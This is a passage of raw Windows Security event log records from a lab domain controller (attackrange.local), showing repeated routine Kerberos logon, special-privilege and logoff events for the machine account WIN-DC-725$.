that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249206 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0628 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249205 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE05C7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249204 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE05C7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64173 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249203 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE05C7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249226 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE088B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249225 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE088B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64180 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249224 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE088B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249223 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE082A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249222 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE082A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64179 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249221 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE082A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249220 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE07C4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249219 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE07C4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64178 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249218 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE07C4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249217 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0763 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249216 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE0763 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64177 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249215 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0763 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249238 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0A73 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249237 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE0A73 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64184 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249236 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0A73 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249235 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0A12 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249234 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE0A12 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64183 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249233 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0A12 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249232 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE09AC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249231 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE09AC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64182 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249230 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE09AC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249229 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE094B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249228 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE094B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64181 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249227 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE094B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249250 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0C33 - 